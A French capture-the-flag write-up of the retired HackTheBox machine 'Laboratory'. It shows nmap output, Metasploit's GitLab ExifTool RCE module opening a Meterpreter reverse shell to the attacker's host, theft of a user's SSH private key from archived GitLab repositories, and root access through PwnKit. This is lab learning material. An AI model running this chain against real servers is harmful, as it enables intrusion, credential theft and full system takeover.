Il y a quelques semaines de cela, je me suis replongé sur une vieille machine HackTheBox, Laboratory. Il s’agit d’une machine “retired”, donc elle ne m’a pas rapporté de points et je ne risque rien à publier ce writeup qui ne constitue donc pas un spoiler.

URL de la machine : https://app.hackthebox.com/machines/Laboratory

Comme d’hab, on spawn la machine. Il s’agit d’une machine classée “facile”, néanmoins avec le temps je me méfie un peu du niveau de difficulté donné sur HackTheBox qui reste avant tout une plateforme de hack gamifié, donc un certain nombre de scénarios sont potentiellement pas vraiment réalistes (spoiler: c’est souvent plus facile dans la vraie vie qu’une machine “facile” de HackTheBox).

Petite précision avant de continuer la lecture de ce writeup: la machine est sortie courant 2020, bien avant la diffusion publique de codes d’exploitation pour des vulnérabilités critiques affectant certains composants disponibles sur cette machine. Les moyens de compromettre cette machine à l’époque étaient potentiellement très différents.

On fait la phase de découverte avec nmap avec des options assez standard, mais on se retrouve avec des ports ouverts assez standard :

PORT    STATE SERVICE  REASON         VERSION
22/tcp  open  ssh      syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 25ba648f799d5d95972c1bb25e9b550d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDgQJSAqI9ACg4p9MsJK16MppJCzCqsvfEqplchcPyLstzX6Mq0fiB2cmoPcSq2759YEKmgRUBgXvNaJQYD4gAe+W3FAMlSzIsZTo7WnOEsucWgqNbto2aDibHV0UxKDNd8rncw8O6FknuvpRItw1/vNT87E3sPQRrpeO6jpvdzZlOou0bBu3/VE8TmS9Vnx4flNPeB1gs+Ll2FWzSQXVgHK5nIIiiZaHDu1KWNj26JcDLqvP1AcGxW11hl3enBW4kq9PJZY5mcV0RGXFWKue4BGT9L5qDaeIX2x2OQ5kALhn/xJvV/4KbW6unhiX0g2kC4yZZnp7pBNtV1KfE4FAHc5Xwcl0Gab7KO3rKTIjP9PDyPSRbiE2sp2bJVi9G8uvZKS/2wI3FIIsI8j6oXkoWTXBL4YhbU+iMCr3YdxwHcJ1UkVUWdc89wg6+VOG1yvn2NgbHVWyTcz7DttGY46zxN/wz5mmC0yZ/I7bLiIGxCwtBGpD+rkOOYXTU1h9W1L+s=
|   256 2800890555f9a2ea3c7d70ea4dea600f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIWsY50adCl+HUi6y+6Q0088DEjPAKeQn5Hr654JBzJ7WDmY9Kh464bkQDFkz6d2sLKkN1z37jJ2ttb/aIiGWbQ=
|   256 7720ffe946c068921a0b2129d153aa87 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKhTZ8nCERubc+P4OLUhXA13B0i7oYI/lhvt1uwMuDPl
80/tcp  open  http     syn-ack ttl 63 Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://git.laboratory.htb/
443/tcp open  ssl/http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 57 disallowed entries (40 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
| /s/ /snippets/new /snippets/*/edit /snippets/*/raw 
| /*/*.git /*/*/fork/new /*/*/repository/archive* /*/*/activity 
| /*/*/new /*/*/edit /*/*/raw /*/*/blame /*/*/commits/*/* 
| /*/*/commit/*.patch /*/*/commit/*.diff /*/*/compare /*/*/branches/new 
| /*/*/tags/new /*/*/network /*/*/graphs /*/*/milestones/new 
| /*/*/milestones/*/edit /*/*/issues/new /*/*/issues/*/edit 
| /*/*/-/merge_requests/new /*/*/-/merge_requests/*.patch 
|_/*/*/-/merge_requests/*.diff /*/*/-/merge_requests/*/edit
| http-server-header: 
|   Apache/2.4.41 (Ubuntu)
|_  nginx
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Issuer: commonName=laboratory.htb
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-07-05T10:39:28
| Not valid after:  2024-03-03T10:39:28
| MD5:   287391a55022f3234b95df98b61aeb6c
| SHA-1: 08753a7eeef68f500349510d9fbfabc3c70aa1ca
| -----BEGIN CERTIFICATE-----
| MIIE4TCCAsmgAwIBAgIUWcpHILpGTrJgl2qd8bAUHpzVmnkwDQYJKoZIhvcNAQEL
| BQAwGTEXMBUGA1UEAwwObGFib3JhdG9yeS5odGIwHhcNMjAwNzA1MTAzOTI4WhcN
| MjQwMzAzMTAzOTI4WjAZMRcwFQYDVQQDDA5sYWJvcmF0b3J5Lmh0YjCCAiIwDQYJ
| KoZIhvcNAQEBBQADggIPADCCAgoCggIBAL48PMhB8KanqCnLpdhppNVYWJ/lLckS
| g+1VIhn1b1p6AjiuSj+HWC5i8dtaJaWypGCDFqrN3+wwy3R/G9J/40+BzRtUoX4E
| 4LImI7z5NIVAksBXKl4VxhB+vEJNljrLr3EZM1MmBTFL/2o628IAmKmo7mu+DjZ3
| +iauuRCMsTTmCjzpoBoWzcOO05+dedYCbc3P2gv6Ajc3XONajmEseX3xjHZOmMIf
| sN4Wr7s4o/cOhwswjtFxmiE3UKV2q2bHLXtyzy2ch3P7xZCAgtHCjFNmrDyxd5uR
| 5SVgIwh0K3BDaoD3mTt7AzIjvT8XJLV46DgeJxGNEQRxqBbKz9JfYoX+dOpK6cq1
| N3/FnEHRn/NDravqOGzFCfuRCBo3O58na+6Seod8qro9O9rbHMqLVt+3RK19Ys8B
| q4BBwEAthLBua5gwDIUgzPrVtGE1VvdAadvsPV5OKp3C/BT3SIDgecZoEAEwei1Y
| Gx/7uV4+LIQOv+VirsuFrUrZKYEsoWR3TVnN5QijjW6VxJc0CVpjNb0r1hKNLZdt
| LyhpqrPHevM/F8QmQ9L4bwlbtn2ZMVgs/jySYZy95QzZ0Pof8cCujEABJNsj8Chp
| s36Em00ihwnp64wVqQrGVqkRkminUmEezrAbqmIsMf7kEh+5JR49cBrIVpbzwwE9
| qBCYTk66LFw3AgMBAAGjITAfMB0GA1UdEQQWMBSCEmdpdC5sYWJvcmF0b3J5Lmh0
| YjANBgkqhkiG9w0BAQsFAAOCAgEAPyE779gsfBsAE9R2C3Sdh9IDkknSHA18Mj2M
| QMJDREjkdRVFCgsZ1cTo/qMOKGaBh+NkzgTTP4D0w//NADt3B72ihnjVY5cQlAWN
| XvhrXYnEFmvoHChDLpbDwk32PstkCoDWXXIzDLx3O0q4u0JojCQkpbKVGlaqMrLs
| wOTE/A0f68U+Z8CS5VUX+MSkG4wnsQrrywyGxif0RuuCh9AAuIvmcqy0uSBD70+c
| L0bfKKKbz1PEB8tCin69nMZmOFcIC9lbesjaynEvccoHzDp5lhHlUdC+UPHH+xCS
| WO1W0rqXvOxd4wdjH95FOrMkvwCbMMLQHYaHuDPS276FTiAPpWaPEB+FJFlfvUk5
| K8bHKu8DuHRFUn45ocM10bWPTv1HunXMTIwVYZlk8sELk2nEnQRU3V6PQaZcZ7ao
| Ss4CWb8n3gBUK9tFT7jKtY92tDHVgA4xOJPA+5iaywJv/SHiFZqlg4oUFnVXFqCr
| 9UVIxY0lD19kgFtKdZwskf/4hYoUMIc4HDR3smD2mSMA8LM4sGvAcfEQrfyuOTOl
| SX1p9J3bFm4KjweThqAHDazDYCuovigGq08M/OoFbyHQzpQknTZH5gXxo3dwUEnO
| 1n/rzqnLQaB+668enfCFrbZcuCKHXhRDGVraOLax54JZrnih0EN7Pd03J3yQv1xg
| sOJcO+0=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://git.laboratory.htb/users/sign_in
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 4.15 - 5.6 (92%), Linux 5.0 (90%), Linux 5.0 - 5.3 (90%), Linux 5.4 (90%), Crestron XPanel control system (90%), Linux 5.0 - 5.4 (90%), Linux 5.3 - 5.4 (90%), Linux 2.6.32 (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%)
No exact OS matches for host (test conditions non-ideal).

Après un rapide coup d’oeil, on voit un certain nombre de choses :

  • Un service SSH auquel on ne va probablement pas pouvoir accéder directement. En général on exploite une première vulnérabilité qui nous donne un accès type reverse shell, qui nous donne des identifiants utilisables via SSH depuis lesquels on va élever nos privilèges vers root. Ici, on a aucune idée de paires de login/password à utiliser (à moins de tenter des trucs par défaut) donc on laisse de côté.
  • Un serveur http de type Apache qui tourne en http et en https. Sur la version https, le certificat nous donne deux noms: laboratory.htb et git.laboratory.htb.

Comme toujours, il est recommandé d’ajouter les hostnames additionnels au fichier /etc/hosts de notre vm Kali avant de continuer.

Si on accède au site via http, on a juste un site corporate. Quelques mots clés liés à de la crypto mais rien de bien palpitant. Quelques commentaires avec des pages html inexistantes.

On s’attaque maintenant au gitlab via https://git.laboratory.htb.

Pas moyen (à priori) de fingerprinter la version du Gitlab (il doit bien exister un script nmap mais je n’ai pas encore creusé tout ça). En revanche, on peut créer un compte et trouver la version dans un menu d’aide (version 12.8.1).

La liste des projets est assez restreinte (juste un seul projet visible), mais en l’état, la fouille du gitlab ne révèle pas grand chose. Par contre on détermine que le serveur Gitlab, du moins sa version telle qu’affichée, comporte un certain nombre de vulnérabilités en mode non authentifié pour lesquelles des codes d’exploitation existent. Voyons ça de plus près :

Un module metasploit existe et nous indique que le gitlab est vulnérable :

msf6 exploit(multi/http/gitlab_exif_rce) > check 

[*] Uploading vuW6fv4q.jpg to /90B9YJYK
[+] 10.10.10.216:443 - The target is vulnerable. The error response indicates ExifTool was executed.
msf6 exploit(multi/http/gitlab_exif_rce) >

On procède donc à l’exploitation. Le risque de provoquer un crash du serveur est relativement faible, l’exploitation de cette vulnérabilité consistant en l’upload d’un fichier image contenant une commande shell dans une metadata EXIF qui sera mal interprétée par l’outil exiftool fourni avec gitlab.

msf6 exploit(multi/http/gitlab_exif_rce) > exploit 

[*] Started reverse TCP handler on 10.10.14.13:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Uploading EZt2GZDawKo.jpg to /Oz3gGGYo
[+] The target is vulnerable. The error response indicates ExifTool was executed.
[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
[*] Using URL: http://10.10.14.13:8080/fT9qAVwleMDQ
[*] Uploading rsKwqDm0X.jpg to /kqj01c
[*] Client 10.10.10.216 (Wget/1.17.1 (linux-gnu)) requested /fT9qAVwleMDQ
[*] Sending payload to 10.10.10.216 (Wget/1.17.1 (linux-gnu))
[*] Sending stage (1017704 bytes) to 10.10.10.216
[+] Exploit successfully executed.
[*] Command Stager progress - 100.00% done (116/116 bytes)
[*] Meterpreter session 1 opened (10.10.14.13:4444 -> 10.10.10.216:40748) at 2023-01-02 19:52:34 +0100
[*] Server stopped.

meterpreter > 

L’analyse de notre environnement immédiat nous indique que l’on tourne dans un docker (fichier .dockerenv à la racine) :

ls -al /
total 88
drwxr-xr-x   1 root root 4096 Jul  2  2020 .
drwxr-xr-x   1 root root 4096 Jul  2  2020 ..
-rwxr-xr-x   1 root root    0 Jul  2  2020 .dockerenv
-rw-r--r--   1 root root  157 Feb 24  2020 RELEASE
drwxr-xr-x   2 root root 4096 Feb 24  2020 assets
drwxr-xr-x   1 root root 4096 Feb 24  2020 bin
drwxr-xr-x   2 root root 4096 Apr 12  2016 boot
drwxr-xr-x   5 root root  340 Jan  2 18:02 dev
drwxr-xr-x   1 root root 4096 Jul  2  2020 etc
drwxr-xr-x   2 root root 4096 Apr 12  2016 home
drwxr-xr-x   1 root root 4096 Sep 13  2015 lib
drwxr-xr-x   2 root root 4096 Feb 12  2020 lib64
drwxr-xr-x   2 root root 4096 Feb 12  2020 media
drwxr-xr-x   2 root root 4096 Feb 12  2020 mnt
drwxr-xr-x   1 root root 4096 Feb 24  2020 opt
dr-xr-xr-x 296 root root    0 Jan  2 18:02 proc
drwx------   1 root root 4096 Jul 17  2020 root
drwxr-xr-x   1 root root 4096 Jan  2 18:03 run
drwxr-xr-x   1 root root 4096 Feb 21  2020 sbin
drwxr-xr-x   2 root root 4096 Feb 12  2020 srv
dr-xr-xr-x  13 root root    0 Jan  2 18:02 sys
drwxrwxrwt   1 root root 4096 Jan  2 18:52 tmp
drwxr-xr-x   1 root root 4096 Feb 12  2020 usr
drwxr-xr-x   1 root root 4096 Feb 12  2020 var

On ne va donc pas trop s’éterniser ici. On peut tenter quelques escape docker mais la probabilité qu’ils fonctionnent est relativement faible. On va aller télécharger la totalité des repositories en faisant une archive de /var/opt/gitlab/git-data/ :

cd /var/opt/gitlab/git-data/
ls
repositories
cd /tmp 
tar -czf repo.tgz /var/opt/gitlab/git-data/
tar: Removing leading `/' from member names
ls
prometheus-mmap20200702-1129-svwllf
prometheus-mmap20200702-690-reqh4z
prometheus-mmap20200702-705-oj0pj8
prometheus-mmap20200702-996-15mwr4x
repo.tgz
exit

On rapatrie tout ça en local (commande “download” de meterpreter) et on examine le contenu (on extrait le contenu de l’archive en local évidemment) :

root@winterhold:/tmp/lab# find . -name '*.git'
./var/opt/gitlab/git-data/repositories/@hashed/2c/62/2c624232cdd221771294dfbb310aca000a0df6ac8b66b696d90ef06fdefb64a3.wiki.git
./var/opt/gitlab/git-data/repositories/@hashed/2c/62/2c624232cdd221771294dfbb310aca000a0df6ac8b66b696d90ef06fdefb64a3.git
./var/opt/gitlab/git-data/repositories/@hashed/19/58/19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7.wiki.git
./var/opt/gitlab/git-data/repositories/@hashed/19/58/19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7.git

On écarte les .wiki.git en première intention, on les garde au cas où. On git clone les deux autres pour voir ce qu’ils contiennent :

root@winterhold:/tmp/abc# git clone /tmp/lab/var/opt/gitlab/git-data/repositories/@hashed/19/58/19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7.git
Cloning into '19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7'...
done.

root@winterhold:/tmp/abc/19581e27de7ced00ff1ce50b2047e7a567c76b1cbaebabe5ef03f7c3017bb5b7# find .
.
./dexter
./dexter/.ssh
./dexter/.ssh/id_rsa
./dexter/.ssh/authorized_keys
./dexter/recipe.url
./dexter/todo.txt
[...]

On a donc un fichier id_rsa et authorized_keys et un username potentiel (dexter). On va essayer de s’authentifier avec ça sur la machine via ssh :

root@winterhold:/tmp# chmod 600 id_rsa 
root@winterhold:/tmp# ssh -i id_rsa dexter@laboratory.htb 
dexter@laboratory:~$ id
uid=1000(dexter) gid=1000(dexter) groups=1000(dexter)
dexter@laboratory:~$

dexter@laboratory:~$ uname -a
Linux laboratory 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
dexter@laboratory:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.1 LTS
Release:        20.04
Codename:       focal

La machine n’a visiblement pas été mise à jour depuis longtemps, on peut tenter notre chance avec pwnkit (l’exploit pour polkit sorti fin 2021) :

dexter@laboratory:/dev/shm$ ls -al
total 20
drwxrwxrwt  2 root   root      60 Jan  2 19:14 .
drwxr-xr-x 19 root   root    4020 Jan  2 18:02 ..
-rwxr-xr-x  1 dexter dexter 18040 Jan  2 19:14 PwnKit
dexter@laboratory:/dev/shm$ ./PwnKit 
root@laboratory:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root),1000(dexter)
root@laboratory:/dev/shm# 

HAPPY DANCE